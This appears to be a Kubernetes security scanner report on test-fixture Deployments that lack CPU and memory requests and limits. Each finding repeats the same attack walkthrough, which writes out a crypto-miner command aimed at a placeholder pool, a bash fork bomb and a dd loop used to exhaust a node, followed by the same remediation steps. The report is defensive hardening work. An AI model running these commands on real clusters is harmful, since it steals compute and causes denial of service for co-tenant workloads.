  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n netpol-imds --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.0
Container app in Deployment/netpol-imds/imds-open-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Infrastructure Modification Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in workload Deployment/netpol-imds/imds-open-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n netpol-imds --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/psa-suppressed/psa-priv-app Workload 5.0
Container app in Deployment/psa-suppressed/psa-priv-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app
Category: Infrastructure Modification Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Container app in workload Deployment/psa-suppressed/psa-priv-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n psa-suppressed --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 5.0
Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Infrastructure Modification Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n psa-unlabeled-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 5.0
Container app in Deployment/pv-hostpath-fixtures/pv-hostpath-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app
Category: Infrastructure Modification Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Container app in workload Deployment/pv-hostpath-fixtures/pv-hostpath-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n pv-hostpath-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/rbac-fixtures/imp-app Workload 5.0
Container app in Deployment/rbac-fixtures/imp-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Infrastructure Modification Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in workload Deployment/rbac-fixtures/imp-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n rbac-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/rbac-fixtures/wildcard-app Workload 5.0
Container app in Deployment/rbac-fixtures/wildcard-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Infrastructure Modification Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in workload Deployment/rbac-fixtures/wildcard-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n rbac-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/statusspoof-fixtures/statusspoof-api Workload 5.0
Container app in Deployment/statusspoof-fixtures/statusspoof-api is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/statusspoof-fixtures/statusspoof-api
Category: Infrastructure Modification Resource: Deployment/statusspoof-fixtures/statusspoof-api Namespace: statusspoof-fixtures

Container app in workload Deployment/statusspoof-fixtures/statusspoof-api does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n statusspoof-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.0
Container app in Deployment/vulnerable/generic-hostpath-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/generic-hostpath-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.0
Container app in Deployment/vulnerable/host-ns-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/host-ns-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n vulnerable --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.0
Container app in Deployment/vulnerable/risky-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Infrastructure Modification Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in workload Deployment/vulnerable/risky-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

